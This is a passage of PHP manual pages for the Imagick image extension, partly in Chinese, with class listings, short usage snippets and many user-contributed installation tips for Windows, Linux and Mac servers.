    • ImagickPixelIterator::getPreviousIteratorRow — Returns the previous row
    • ImagickPixelIterator::newPixelIterator — Returns a new pixel iterator
    • ImagickPixelIterator::newPixelRegionIterator — Returns a new pixel iterator
    • ImagickPixelIterator::resetIterator — Resets the pixel iterator
    • ImagickPixelIterator::setIteratorFirstRow — Sets the pixel iterator to the first pixel row
    • ImagickPixelIterator::setIteratorLastRow — Sets the pixel iterator to the last pixel row
    • ImagickPixelIterator::setIteratorRow — Set the pixel iterator row
    • ImagickPixelIterator::syncIterator — Syncs the pixel iterator
  • ImagickKernel — The ImagickKernel class
    • ImagickKernel::addKernel — Attach another kernel to a kernel list
    • ImagickKernel::addUnityKernel — Adds a Unity Kernel to the kernel list
    • ImagickKernel::fromBuiltIn — Create a kernel from a builtin in kernel
    • ImagickKernel::fromMatrix — Create a kernel from a 2d matrix of values
    • ImagickKernel::getMatrix — Get the 2d matrix of values used in this kernel
    • ImagickKernel::scale — Scales a kernel list by the given amount
    • ImagickKernel::separate — Separates a linked set of kernels and returns an array of ImagickKernels

User Contributed Notes

carlosvanhalen7 at gmail dot com 06-Mar-2013 07:09
Here's a handy function that finds the first occurrence of a specific pixel. You can set the tolerance of the color you are looking for, or set it to 0 if want an exact match

<?php

function findPixel($img, $r, $g, $b, $tolerance=5)
{
    $original_                 = new Imagick($img);
    $height                    = 0;
    $width                    = 0;
    list($width, $height)    = getimagesize($img);
    $matrix_org                = array();
    $matrix_mrk                = array();

    for( $x = 0 ; $x < $width ; $x++){
        $matrix_org[$x]            = array();
        $matrix_mrk[$x]            = array();
    }

    for( $x = 0 ; $x < $width ; $x++ )
    {
        for( $y = 0 ; $y < $height ; $y++ ){
            $matrix_org[$x][$y]                = $original_->getImagePixelColor($x, $y)->getColorAsString();
            $colors                         = preg_replace('/[^-,0-9+$]/', '', $matrix_org[$x][$y]);
            $colors                            = explode(',', $colors);
            $r_org                            = $colors[0];
            $g_org                            = $colors[1];
            $b_org                            = $colors[2];

            if(     ( $r <= ($r_org+$tolerance) && $r >= ($r_org - $tolerance) )
                &&  ( $g <= ($g_org+$tolerance) && $g >= ($g_org - $tolerance) )
                &&  ( $b <= ($b_org+$tolerance) && $b >= ($b_org - $tolerance) ) )
            {
                return array( $x, $y );
            }
        }
    }

    return false;
}

?>
aem at teletype dot ru 30-Nov-2011 03:09
To configure and build imagick extension with phpize, you must first install libmagickwand-dev and libmagickcore-dev.

For example, "sudo apt-get install libmagickwand-dev libmagickcore-dev" and then phpize and ./configure.
Eero Niemi (eero at eero dot info) 08-Apr-2008 07:06
To load image (usually vector image, like PDF) with larger resolution than image's default is, you have to set resolution before reading the file, like this:

<?php
$im = new Imagick();
$im->setResolution( 300, 300 );
$im->readImage( "test.pdf" );
?>
mlong-php at mlong dot us 24-Oct-2007 01:11
The fit functionality of thumbnailImage doesn't work as one would anticipate. Instead, use this to make a thumbnail that has max of 200x82:

  // Create thumbnail max of 200x82
  $width=$im->getImageWidth();
  if ($width > 200) { $im->thumbnailImage(200,null,0); }

  $height=$im->getImageHeight();
  if ($height > 82) { $im->thumbnailImage(null,82,0); }
mlong-php at mlong dot us 24-Oct-2007 11:46
Here is an example on how to take an image that is already in a string (say, from a database), and resize it, add a border, and print it out. I use this for showing reseller logos

  // Decode image from base64
  $image=base64_decode($imagedata);

  // Create Imagick object
  $im = new Imagick();

  // Convert image into Imagick
  $im->readimageblob($image);

  // Create thumbnail max of 200x82
  $im->thumbnailImage(200,82,true);

  // Add a subtle border
  $color=new ImagickPixel();
  $color->setColor("rgb(220,220,220)");
  $im->borderImage($color,1,1);

  // Output the image
  $output = $im->getimageblob();
  $outputtype = $im->getFormat();

  header("Content-type: $outputtype");
  echo $output;


简介

Imagick 是用 ImageMagic API 来创建和修改图像的PHP官方扩展。

ImageMagick 是用来创建，编辑，合并位图图像的一套组件。 它能够用于读取，转换，写入多种不同格式的图像。 包含 DPX、EXR、GIF、JPEG、JPEG-2000、PDF、PhotoCD、PNG、Postscript、SVG 和 TIFF。

ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available.

User Contributed Notes

There are no user contributed notes for this page.


安装/配置

Table of Contents

  • 需求
  • 安装
  • 运行时配置
  • 资源类型

User Contributed Notes

justahelpfullnote at nononono dot no 16-Nov-2022 05:54
For windows users, I found this, hope this help

https://mlocati.github.io/articles/php-windows-imagick.html

thank you Michele Locati
Spaceman 20-Dec-2020 08:26
If you want to install ImageMagick on Nginx for Windows, in addition to setting php_imagick.dll extension, you should set an environment variable like so:

- First download ImageMagick package (if you haven't already) *
https://windows.php.net/downloads/pecl/deps/

- Extract it to any folder for example "C:\ImageMagick-xxx\"

- Edit the "PATH" variable and add a new entry with value "C:\ImageMagick-xxx\bin"

* Note: The ImageMagick package you download should match your php Compiler (i.e Visual C++ 2017), Architecture (i.e x86 or x64) and "Thread Safety". All of these can be viewed from php_info()
Rob Oz 12-Dec-2016 07:09
Just a note that the 'Ian Co' instructions for 'Installing ImageMagick on UwAmp for Windows' also works for XAMPP.  Just change the paths accordingly.
laszlo dot phpnet at lieszkovszky dot com 27-May-2016 03:08
Addendum to Ian Co's "Steps to Install ImageMagick for Windows" specifically for Uniform Server Z and how to fix if you get an empty list of ImageMagick supported formats):

Thanks to Ian Co's comments above for setting me in the right direction.

My Uniform Server is installed to B:\UniServerZ, adjust the following steps to your specific installation.

If you've been messing around with a gazillion solutions like me, first delete any previous copies of imagemagick dll-s (i.e. IM_MOD_RL...dll-s, CORE_RL...dll-s) from your sysem, i.e. I had copied them to C:\Windows\system, B:\UniServerZ\core\php56, B:\UniServerZ\core\php56\extensions.

1. Download ImageMagick-6.8.9-1-vc9-x86.zip from http://windows.php.net/downloads/pecl/deps/

Extract contents of bin folder to B:\UniServerZ\core\php56 (or whichever vresion of php you are using)

2. Download the appropriate imagick package from  http://pecl.php.net/package/imagick/3.1.2/windows
For me the right one was  php_imagick-3.1.2-5.6-ts-vc11-x86.zip , check phpinfo whether you need the thread-safe version or not and which architecture.

Extract php_imagemagick.dll ONLY (and not the other dll-s) to B:\UniServerZ\core\php56\extensions

Previously I had tried ImageMagick-6.9.3-7-vc11-x86.zip and ImageMagick-6.9.3-7-vc14-x86.zip but the dll-s here did not work, perhaps because Uniform Server was compiled using VC9? and these were compiled with later versions!? What a mess.

I had also tried creating a C:\ImageMagick and adding it to PATH user-level and to MAGICK_HOME system-level environment variables, but this proved unnecessary (although it also works).

Also, installing the windows binary releases from
http://www.imagemagick.org/script/binary-releases.php#windows
was unnecessary (and might actually mess things up if windows tries those dll-s first).
bradchesney79 at gmail dot com 25-May-2016 05:58
So, your installation in general works so that you can display the output from a PHP script-- even phpinfo(); works. Great start. If not, you likely have bigger problems or are compiling imagick into PHP. Best of luck.

But, back to where we are; PHP in general works, except the imagick extension isn't working or needs installed or something.

There is some very helpful information in the phpinfo(); output blocks.
(If phpinfo(); means nothing to you, hit the google. We'll wait.)

Notably the php.ini that PHP is using can be found there, very important. --Many instructions will tell you to put "extension=imagick" into it.

Better would be to create an imagick.ini file (that has "extension=imagick" inside) in the directory scanned for additional .ini files.

This is nice when the machine you are working on has multiple php.ini files and unused configurations  littered about. phpinfo(); will tell you where the resources being used can be located in the file system.

Helpful to me, thought I'd share...
nkmol 02-Apr-2016 09:21
I have spent many hours trying to get Imagick work on Windows. Finally I have succeeded!

A post on StackOverflow has been made so everyone can see it:
http://stackoverflow.com/questions/18375092/imagick-php-windows/36378764#36378764
Ian Co 30-Mar-2016 05:30
Steps to Install ImageMagick on UwAmp for Windows:
as of March 31, 2016
Detailed guide for newbies like me.

... continued

4. Goto:

    http://pecl.php.net/package/imagick

    as of today, latest is 3.4.1 so I went to:
    http://pecl.php.net/package/imagick/3.4.1/windows

    My PHP version is: 5.6.18, and Thread Safety is Yes from
    Step #1, so I downloaded:
       5.6 Thread Safe (TS) x86
    I got: php_imagick-3.4.1-5.6-ts-vc11-x86.zip

5. Unzip and copy "php_imagick.dll" to the php extension folder:

    In my case:
    php_imagick.dll --> C:\UwAmp\bin\php\php-5.6.18\ext

    Note: this ZIP also contains dlls which other guides says
    to extract to the extension folder of apache.
    NO NEED TO DO IT. Step #3 has taken care of it.

6. Edit "php.ini" and add at the very end (could be
    anywhere I suppose):

      [Imagick]
      extension=php_imagick.dll

      For super newbies: click the edit button in the UwAmp UI,
      "php_uwamp.ini" will open and edit it. It will be copied to
      the correct php.ini when UwAmp is restarted. I had
      trouble at first since there are several php*.ini scattered
      all over.

7. Restart Apache

8. Check PHPInfo
    scroll to section (or find): imagick
    number of supported formats: 234

    If there is no "imagick" section or "supported format" is 0,
    something went wrong.

Hope this helps.
Ian Co 30-Mar-2016 05:29
Steps to Install ImageMagick on UwAmp for Windows:
as of March 31, 2016
Detailed guide for newbies like me.
Took a long time to get it to work.

I initially followed:
http://php .net/manual/en/imagick.installation.php
but after installation, PHPInfo under imagick shows
number of supported formats = 0

So I followed these steps, clobbered from various sources
to get it to work.

1. Open PHPInfo and check:
   Architecture = x86 or x64
   Thread Safety = yes or no

2. Download ImageMagick from:

   http://windows.php.net/downloads/pecl/deps/

   In my case I downloaded: ImageMagick-6.9.3-7-vc11-x86.zip
   because the Architecture under PHPInfo is x86
   as for vc11 or vc14
   search google for "visual c++ 11 runtime" or
   "visual c++ 14 runtime" and install it

3. Unzip and copy all dlls from the bin subfolder to the
    Apache bin directory. It's a bunch of CORE_RL_*.dll
    and IM_MOD_RL_*.dll plus a few other dlls.

    In my case, I installed UwAmp in C:\UwAmp, so:
    (from zip) bin/*.dll --> C:\UwAmp\bin\apache\bin
noreply at gmail dot com 24-Dec-2015 06:38
For installing imagick in Windows do the following:

1. Download and install the ImageMagick API from http://www.imagemagick.org/script/binary-releases.php#windows. (In my case, I installed the lastest version: ImageMagick-6.9.2-10-Q16-x64-dll.)

2. Go to http://pecl.php.net/package/imagick and choose the version of imagick that best suits your PHP version. (Because I had PHP 5.4 I downloaded "php_imagick-3.3.0-5.4-ts-vc9-x86.zip".

3. Extract the contents of the zip file and go to the directory where the files were extracted.

4. Copy the php_imagick.dll in yout PHP's ext folder.

5. All the other dll that you extracted from the zip file can go into  apache's bin directory. In my case, I have apache 2.2 and the bin directory is at: C:\Program Files (x86)\Apache Software Foundation\Apache2.2\bin.

6. Activate the extention in your PHP.ini file by adding the following:
[Imagick]
extension: "C:\Program Files (x86)\PHP\ext\php_imagick.dll"

7. Restart apache
8. Sit back and relax
raaghu1987 at gmail dot com 25-Feb-2015 04:06
This works for me

http://refreshless.com/blog/imagick-pecl-imagemagick-windows/
erigocn at gmail dot com 07-Nov-2014 01:37
Mac 10.10 Yosemite

install php via "Homebrew", then:
$ brew install php53-imagick

and then:
reload php-fpm (or restart apache)
JV 09-Aug-2014 04:20
To install on Ubuntu or Debian, using the package manager, use:

sudo apt-get install php5-imagick
sudo service apache2 reload
Martin dot Winstrand (a) gmail dot com 02-Apr-2013 03:19
Sins I tried around a lot and searched the net to find a working dll for ImageMagic and PHP5.4, with bad results I at last found one working.
There is a guy (Mikko) that has a blog and he wrote about this and and have compiled a working solution. You find his blog about this here: http://valokuva.org/?m=201211.

Hope that this helps others as well.
Valera Rozuvan 02-Jun-2012 07:08
Recently I had to install ImageMagick on FreeBSD. The following commands achieved this without a problem.

cd /usr/ports/graphics/ImageMagick-nox11/
make install clean
service apache22 stop
cd /usr/ports/graphics/pecl-imagick/
make install clean
service apache22 start

NOTE: For some of the package dependencies you will be prompted to select optional add-ons. I left all the config options untouched except for those which provided integration with the X11 system. Those once I disabled.
admin at pankajgrover dot co dot cc 19-Oct-2011 12:30
Simple way to install ImageMagick on your linux machine(RHEL5,Cent OS 5)

#yum install ImageMagick*
#pecl install imagick sometimes you may have ask to install gcc compiler. if so execute #yum install gcc*
added the extension on php.ini
#echo "extension=imagick.so" >> /etc/php.ini
#service httpd restart
djcox99 at googlemail dot com 05-Jan-2011 04:48
I have php 5.3.1 running on apache on windows (with xampp)
to get this working i installed the appropriate image magick from here http://imagemagick.org/script/binary-releases.php#windows

Then i needed the php_imagick.dll for vc6 (because im on apache not iis).

After a bit of searching i found someone hosting it here :
http://www.sk89q.com/2010/03/vc6-windows-binaries-for-imagick-2-3-0/

Hope this helps ^^
matija kancijan - kancija[]gmail dot com 01-Sep-2010 02:36
it is important to install correct version of Visual C++ redistributable Package.

for ImageMagick-6.5.8-10-Q16-windows-dll.exe -
Visual C++ 2008 Redistributable Package

http://www.microsoft.com/downloads/details.aspx?FamilyID=9b2da534-3e03-4391-8a4d-074b9f2bc1bf
William Sze 06-Aug-2009 12:47
After 2 hours of looking for help from different documentation & sites, I found out none of them are complete solution.  So, I summary my instruction here:

1) yum install php-devel
2) cd /usr
3) wget http://pear.php.net/go-pear
4) php go-pear
5) See the following line in /etc/php.ini [include_path=".:/usr/PEAR"]
6) pecl install imagick
7) Add the following line in /etc/php.ini [extension=imagick.so]
8) service httpd restart

Hopefully, I can save other engineer effort & time.... Good luck!
acliyanarachchi at gmail dot com 12-Mar-2009 04:11
If you have used lampp first copy imagick.so from /usr/lib/php5/20060613+lfs/imagick.so path and paste it to php lib.(/opt/lampp/lib/php/extensions/no-debug-non-zts-20060613)
Then edit your php.ini and add extension=imagick.so
ynzhang from lakeheadu canada 16-Feb-2009 05:57
imagick 2.2.2 might have a problem loading in PHP 5.3 by giving following error at start-up:

PHP Warning:  PHP Startup: Unable to load dynamic library '.../imagick.so' - .../imagick.so: undefined symbol: XStringListToTextProperty in Unknown on line 0

in this case, revert to PHP 5.2.8 and imagick-2.2.0 will work just fine.
nonproffessional at clockworkgeek dot com 15-Oct-2008 03:09
I too had the error "Please provide a path to MagickWand-config or Wand-config program." when installing on linux (in this case CentOS aka Red Hat).

The simple solution was to ensure "ImageMagick-devel" and NOT "ImageMagick" package was in place. Next comes the standard command:
pecl install imagick

Lastly, and as per the otherwise flawless instructions, edit php.ini to include:
extension=imagick.so
marcel dot ouellette at gmail dot com 02-Sep-2008 10:38
For anyone attempting to install the binaries on windows xp, don't waste your time.  You'll need to install this on windows 2003 Server (and up) or Windows Vista since there are dependences (msvcr80.dll) that will require it.
colnector is from domain colnect.com 13-Jul-2008 05:10
Windows installation is a bit more tricky since "pecl install imagick" does NOT work properly.

Here's how I installed it:
1/ Install ImageMagick software http://www.imagemagick.org/script/binary-releases.php#windows
2/ Download pecl-5.2-dev.zip (choose the version relevant to your PHP) from http://snaps.php.net/
3/ Copy php_imagick.dll from the archive you've downloaded to your PHP extention folder.
4/ Add the following line to php.ini (in the exntentions section):
extension=php_imagick.dll
5/ Restart your server
6/ Try the example script to see all went well

Good luck :)


需求

Installation requirements on non-Windows platforms

ImageMagick >= 6.2.4 is required. The amount of file formats supported by Imagick depends entirely upon the amount of formats supported by your ImageMagick installation. For example, Imagemagick requires ghostscript to conduct PDF operations.

User Contributed Notes

Vee W. 27-Nov-2020 04:07
Imagick multiple versions available on https://windows.php.net/downloads/pecl/releases/imagick/
You can download ImageMagick library (many versions) from https://windows.php.net/downloads/pecl/deps/

The installation instruction is in https://mlocati.github.io/articles/php-windows-imagick.html

== Copied from the above URL ==
1. Extract from php_imagick-....zip the php_imagick.dll file, and save it to the ext directory of your PHP installation
2. Extract from ImageMagick-....zip the DLL files located in the bin folder that start with CORE_RL or IM_MOD_RL, and save them to the PHP root directory (where you have php.exe), or to a directory in your PATH variable
3. Add this line to your php.ini file: extension=php_imagick.dll
4. Restart the Apache/NGINX Windows service (if applicable)
liuwld at qq dot com 30-Jan-2019 08:42
from the last note, I post the following message:
=============
Windows 10 + Apache 2.4.37 + PHP 7.2.14 x64 vc15 ts
download:
https://windows.php.net/downloads/pecl/snaps/imagick/3.4.3/php_imagick-3.4.3-7.2-ts-vc15-x64.zip
https://windows.php.net/downloads/pecl/deps/ImageMagick-7.0.7-11-vc15-x64.zip
extract php_imagick.dll to ext/
extract ImageMagick-7.0.7 to one path
ADD ImageMagick-7.0.7/bin to SYSTEM PATH
ADD "extension=imagick" in php.ini
ADD LoadFile "/yourImageMagickPath/bin/CORE_RL_Magick++_.dll" in httpd.conf

Then it works.
=============
Today, I setup a new windows 10 1809 system + Apache 2.4.38 and found a new problem that cannot loaded imagick extension. But after I installed Visual C++ Redistributable for Visual Studio 2015 from MS site, all work ok. And the operation `ADD LoadFile "/yourImageMagickPath/bin/CORE_RL_Magick++_.dll" in httpd.conf` is not need.
liuwld at qq dot com 22-Jan-2019 12:56
Windows 10 + Apache 2.4.37 + PHP 7.2.14 x64 vc15 ts
download:
https://windows.php.net/downloads/pecl/snaps/imagick/3.4.3/php_imagick-3.4.3-7.2-ts-vc15-x64.zip
https://windows.php.net/downloads/pecl/deps/ImageMagick-7.0.7-11-vc15-x64.zip
extract php_imagick.dll to ext/
extract ImageMagick-7.0.7 to one path
ADD ImageMagick-7.0.7/bin to SYSTEM PATH
ADD "extension=imagick" in php.ini
ADD LoadFile "/yourImageMagickPath/bin/CORE_RL_Magick++_.dll" in httpd.conf

Then it works.
Alex Ivaylov 31-Aug-2017 06:48
Unfortunately the Windows binaries downloaded from the Imagemagick website did not work with PHP 7. It seems that they used Visual C++ 2013 to compile imagemagick while PHP used Visual C++ 2015. There is another build of imagemagick which worked with PHP 7 here: http://windows.php.net/downloads/PECL/deps/


安装

此 » PECL 扩展未与 PHP 捆绑。

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/imagick.

Note: The official name of this extension is imagick.

Windows users can download prebuilt DLL from the » PECL website. These packages already contain the extension DLL (php_imagick.dll) which needs to be put into the extension_dir. They also contain the ImageMagick DLLs, which need to be put somewhere in the PATH. As of Imagick 3.6.0, they also contain XML configuration files in config; to use these instead of the built-in defaults, they need to put into %USERPROFILE%/.config/ImageMagick, or alternatively in the path given by the environment variable MAGICK_CONFIGURE_PATH. Refer to the » ImageMagick configuration files documentation for further details.

User Contributed Notes

Anonymous 20-Apr-2023 09:00
Using imagick with xampp on windows 10:

it took me some time to make it work but in the end it was just me messing up what version of imagick i downloaded.

go to C:\xampp\htdocs and create a test.php file with:
<?php
phpinfo();
?>

open C:\xampp\xampp-control.exe and start your Apache server.

in your browser open http://localhost/test.php

`CTRL F` search for `PHP Version` and write down the PHP version. (example: 7.2.24)

`CTRL F` search for `Thread Safety` and check if its enabled of disabled (example: Enabled)

`CTRL F` search for `Architecture` and the Architecture type (example: x64)

go to https://mlocati.github.io/articles/php-windows-imagick.html and select your php version, thread safety and Architecture and download the .zip. (example  php_imagick-3.4.4-7.2-ts-vc15-x64.zip)

place the zip inside of C:\xampp\php and extract it.

also place the zip inside of C:\xampp\php\ext and extract it.

open file C:\xampp\php\php.ini and `CTRL F` search for `; Dynamic Extensions ;` and add the line `extension=php_imagick.dll`.

open C:\xampp\xampp-control.exe and restart your Apache server.

in your browser open http://localhost/test.php and  `CTRL F` search for `imagick` and it should be added.
brunomarcospereira at gmail dot com 04-Apr-2018 04:09
How to install Imagick in Windows 10 with PHP Built In Server:

1.0 - Download Imagick with its dependencies on: https://windows.php.net/downloads/pecl/deps/
1.1 - Copy all the .DLL from the "bin" folder to the root of your PHP (e.g.: C:\php-7.1.2-Win32-VC14-x64);
2.0 - Download the DLL according to your version of PHP in: http://pecl.php.net/package/imagick/3.4.3/windows
2.1 - Copy the DLL "php_imagick.dll" to the "ext" directory (e.g.: C:\php-7.1.2-Win32-VC14-x64\ext).
3.0 - Add the line in php.ini: extension=php_imagick.dll
4.0 - Restart the PHP server.

Note: the mime-types of the images will be "image/x-jpeg", "image/x-png"...
Robert Badi Baldursson 29-Jan-2018 07:56
I have XAMPP version 3.2.2 and PHP 7.1. I was having trouble installing imagick by following Ian Co's notes and then some other very well written tutorials.

However, the imagick module would never show up in phpinfo() but only in the console when typing "php -i" which I found very odd.

It finally turned out that the mistake was to tell me to copy ImageMagic's CORE_RL_* and IM_MOD_RL_* files to C:\xampp\Apache\bin. They needed to be copied to the php root folder where php.exe resides (C:\xampp\php).

When I did that ... boom ... imagick module appeared in phpinfo() finally!
barthuisman at gmail dot com 27-Mar-2017 09:07
If you're on a Ubuntu or debian machine, please don't dive into all those pecl stuff, but just use:

sudo apt-get install php7.1-imagick

where php7.1 is your php version, so could be different.
microzonebitzz at yahoo dot com 09-Feb-2017 06:26
With Ubuntu 16.04 (Xenial) with PHP 5.6 not 7. PHP 7 was disabled.

1. sudo apt-get update
2. sudo apt-get install imagemagick php5.6-imagick
support at vipp dot com dot au 18-Sep-2015 06:23
I tried installing imagick extension on WHM/Cpanel but it didn't work. the error message was
could not extract the package.xml file
This seems to be a bug in PHP 5.5 as reported by users.

I finally installed this extension from command line. Here are the steps I used just in case someone is experiencing similar problem and is looking for a solution.

1. install ImageMagick from rpm repository in WHM.  the version I installed is ImageMagick 6.7.2-7

2. log in the server via ssh,

3. download the latest version of imagick, unpack and install. the version I downloaded is imagick-3.3.0RC2.tgz

wget http://pecl.php.net/get/imagick-3.3.0RC2.tgz
tar xvf imagick-3.3.0RC2.tgz
cd imagick-3.3.0RC2
phpize
./configure
make
make install

the extension was successfully installed

4. in WHM, go to PHP configuration editor, in advanced mode, search extension, and add imagick.so in the list of extension enabled. this can of course be added using a command line editor.

extension=imagick.so

5. restart apache. imagick is there now.
My server runs
PHP Version     5.5
cPanel Version     11.50.0 (build 30)

I hope it works for someone else too.
gollariel at gmail dot com 03-Sep-2015 07:52
I had an error during installation:

checking ImageMagick MagickWand API configuration program... found in /usr/bin/Wand-config
checking if ImageMagick version is at least 6.2.4... configure: error: no. You need at least Imagemagick version 6.2.4 to use Imagick.
ERROR: `/tmp/pear/temp/imagick/configure --with-imagick' failed

Set is obtained as follows:

sudo apt-get remove graphicsmagick-libmagick-dev-compat imagemagick imagemagick-common
sudo apt-get autoremove
sudo apt-get install libmagickwand-dev
sudo pecl install imagick-beta
kmteoh at hotmail dot com 22-Sep-2014 03:28
for PHP 5.3 Windows user who try to install, here is the note where I have spent near 4 hours to get concluded:

- you need NOT LATEST but 6.7.7 imagemagic engine: http://ftp.sunet.se/pub/multimedia/graphics/ImageMagick/binaries/ImageMagick-6.7.7-5-Q16-windows-dll.exe (tips by justinjacob @ http://stackoverflow.com/questions/20440968/installing-php-imagick-dll-php-extension-on-wampserver-2-2)

- http://windows.php.net/downloads/pecl/releases/imagick/3.1.2/ TS version work just fine, make sure you restart apache after install both above, in order.

- if it says 'CORE_RL_WAND' not found, you probably want to move all CORE_* files from /ext folder to one above.
feedback at weknowtoomuch dot com 20-Nov-2013 12:28
I have PHP 5.3.24

I just did that:
 -  Download proper extension version from
    http://windows.php.net/downloads/pecl/releases/imagick/
    I picked 3.1.2 which is the latest non-beta at this time
 -  Unzip and copy php_imagick.dll to PHP ext folder
 -  add
[PHP_IMAGICK]
extension=php_imagick.dll
   to php.ini
 -  Download recommended Imagick version and install from:
    http://imagemagick.org/script/binary-releases.php#windows
   ( I chose to have C headers and also COM objects during installation)
 -  Restart apache
 -  Check phpinfo() for Imagick section... there it is!

Nothing out of ordinary for a PHP extension... I don't know what the fuss is...
holdoffhunger at gmail dot com 30-May-2013 08:55
There is a big disclaimer that should be made to all those about to venture on ImageMagick programming using PHP: the great, vast majority of WAMP (Windows-Apache-MySQL-PHP) servers do not support ImageMagick commands at all, since it is a "different package," and there appears to be no way to install ImageMagick through standard Add/Remove Applications within Linux (as far as standard Debian linux releases go).  It's very easy to get Apache/PHP running in either Windows or Linux with pretty much any standard OS/distro supported so that you can run all of your own code on your own computer.  But that's definitely not the case when you want Imagick to cooperate with your Apache server and your PHP code!

It took me almost an entire week just to get Apache/PHP/ImageMagick working all together nice and happily so that I could run my own PHP code on my own machine (natively, too).  So, I decided to simply write down the steps, to help anyone else out who could need help.

Guide to Building an Apache/PHP/Imagick Server with Linux/CentOS 6.4:::

1. Install CentOS 6.4.  (Theoretically, other versions of CentOS should work as well, but I simply chose the most recent one.)  Also, you can very easily emulate CentOS within Windows (for instance, the unfree choice of VMWare).
2. Install PHP, PHP-Common, PHP-extensions, etc., from standard Application Package Manager ("Add/Remove Programs", usually in system tools somewhere).  (You don't have to worry about Apache, because that comes with CentOS 6.4 anyway.)
3. Open up a terminal and enter admin mode with the command "su".  You'll need a password for this.
4. Enter this command: yum install ImageMagick ImageMagick-devel
5. Enter this command: pecl install imagick
6. Modify php.ini and include the line "extension=imagick.so".  This file is located at "/etc/php.ini" normally.  The line must be exactly inserted in the section of "Dynamic Extensions", which begins with this commented out text:

--------------------------------
;;;;;;;;;;;;;;;;;;;;;;
; Dynamic Extensions ;
;;;;;;;;;;;;;;;;;;;;;;
--------------------------------

Use the "search" feature of gedit to find the text.  Add the extension below the commented out note in this section so that the result looks like:

--------------------------------
;;;;
; Note: packaged extension modules are now loaded via the .ini files
; found in the directory /etc/php.d; these are loaded by default.
;;;;

extension=imagick.so
--------------------------------

Putting the extension directly at the top caused me serious permission issues in running Imagick code.  Also, with CentOS, the permissions automatically disable user control for this php.ini.  Enter the following terminal command: "chown [YOUR-USERNAME] -R /etc/php.ini", without the quotes to get control to modify it.  Note to insert your username where it states "[YOUR-USERNAME]".
7. Enter this command: "service httpd restart", without quotes, from admin mode.  This restarts Apache/PHP/PHP's extensios now that you've installed ImageMagick.  If this gives you an error, just try "service httpd start".

My favorite part about this method is that you can update your system with issuing the "yum update" command and then the "yum upgrade" command -- and the Apache/PHP/Imagick combo will still be working perfectly!  Unlike some other guides out there for this, you don't need to rely on antiquated, unsupported versions that can be nearly impossible to find.  Also, you don't need to worry about the MySQL, Hash, MBString, Exif packages, because they all seem to be installed and properly cooperating with PHP automatically after installing PHP from the Application Manager.  This solution makes everything work well together.

The root directory of your public files is located at /var/www/html/.  Normally, this folder is not owned by the user, so you'll get a permission error when trying to add files or folders to it.  Correct that with entering admin mode in the terminal/command-line window ("su" command) and entering the following command: "chown [YOUR-USERNAME] -R /var/www/html/", without quotes.  Again, replace "[YOUR-USERNAME]" with your actual user name.  (Warning: The first time I did this, I was lazy and entered the command for only the "/var/" folder, which prevented my system ever from booting.  It would always freeze with the notorious and googleable erro-message: "Could not update ICEauthority file /var/lib/gdm/.ICEauthority".  So, make sure to change ownership only for "/var/www/html/".)

To view your root directory files as compiled, resultant, PHP pages, open up a browser and enter "127.0.0.1" as the address.  So, a file in your root directory would be accessed at the following URL in your browser: http://127.0.0.1/your.file.php .  If you get a "could not connect" error message, try the command "service httpd start" at the terminal window from admin mode.  (You have to start this service manually every time the machine boots, although there's plenty of ways to automate it.)

I hope this helps!  I tried a hundred different guides on getting Apache/PHP/Imagick to work together and none of them worked.  Don't give up!  ImageMagick is a package of really neat imaging functions!
Baasha 10-May-2013 09:28
To install on debian simply try:

apt-get install php5-imagick

on ubuntu:

sudo apt-get install php5-imagick
Dmitry Semenov 14-Feb-2013 10:06
If you tried to install it on Linux and got this message

pecl install imagick

/var/tmp/imagick/php_imagick.h:49:31: fatal error: wand/MagickWand.h: No such file or directory
compilation terminated.
make: *** [imagick_class.lo] Error 1
ERROR: `make' failed

this is what solves it:

yum install ImageMagick-devel
vbsaltydog 30-Jul-2010 08:31
I could not install via PECL or compiling from source because of an error from line 3339 of the configure file generated by phpize so I looked at the configure file at line 3339 and it was just a check for the PHP version using the php-config command with the --vernum switch which was not supported by my PHP version so I commented out that check from the configure file and then it would configure, compile, and install.

After installation, it put the shared object file in my php extension modules directory so I added an entry to my /etc/php.d directory to load the extension file and restarted apache and the imagick section is present in my info.php output.
Martin Vincent 22-Jan-2010 08:32
For PHP 5.3 I have read that these versions should work:
ImageMagick-6.5.9-0-Q16-windows-dll.exe
imagick-2.3.0-dev/vc9_nts/php_imagick.dll
scottchu dot tw at gmail dot com 22-Dec-2009 07:17
PECL install imagick contantly fails due to the server is behind some firewall, so one may try 'phpize' way to install.

However, someone like me who doesn't want to use default options may experience thru failure situation. And if you google thru the cloud, you may find many people tell you to rpm imagick-devel with yum or apt. That does solve the problem.

However, In my case, my server already has php 5.3.1 installed under /usr/lcal/php & the linux doesn't have yum or apt service. Furthermore, I just installed imagemagick yesterday (Also quite a battle =.=) under /usr/local/imk

(note: You may see that I don't like default options, I like to install each package under different dir under /usr/local).

Today, I want to install imagick, so this is what I do:

1> add /usr/local/php/bin & /usr/local/imk/bin to path.

2> download imagick source of intended version (I use 3.0.b1).

3> enter that dir & issue 'phpize'.

(note:I got a habit to issue './configure --help > oo' & 'view oo' to see all the options first before installation)

4> 'vi configure' & find LIBS, then add '-l/usr/local/imk/lib' after it.

5> issue './configure --prefix=/usr/local/ik4php' --with-imagick='/usr/local/imk'.

(note: with-imagick points out where you install the imagicmagick package before, this name 'imagick'  is not appropriate since it incurs ambiguity with imagick for php =.=)

6> after it's done, issue 'make'.

7> after make is done, issue 'make install'.

(note:the last two output lines will tell you where to find the generated shared object library file: imagick.so)

8> go to that dir & copy imagick.so to the extension dir defined in php.ini.

(note: in my case it's /usr/local/php/ext)

9> edit php.ini to add 'extension=imagick.so' line.

10> stop & start apache or just restart apache.

(note: if you have tomcat + apache + jk module installation style as mine, shutdown tomcat, stop apache, then startup tomcat first, then start apache)

If you have similar server environment & situation as mine, hope this article helps you.

Scott Chu @ Taiwan
gmorris at ilogsystems dot com 20-Oct-2009 11:11
I struggled to get imagick installed for mamp and dug high and low. I
was left with the impression that so many struggle with opensource and
 this type of install that it is almost a right of passage. For my part, I
 managed to find two threads that helped me and the steps work. A lot
 of people talked about macports and pear installs which are fine(I tried
 them), but 1) they sometimes don't get the latest version of what
 you need and 2) I can't tell what they're doing and where they're doing it.

It's much easier to me to download the stuff where i want it and be
sure of what i got!

First of all download a tar image of the ImageMagick install from here:
sourceforge.net/projects/imagemagick/files/

Unpack it and then from terminal issue the following commands in
 quotes:
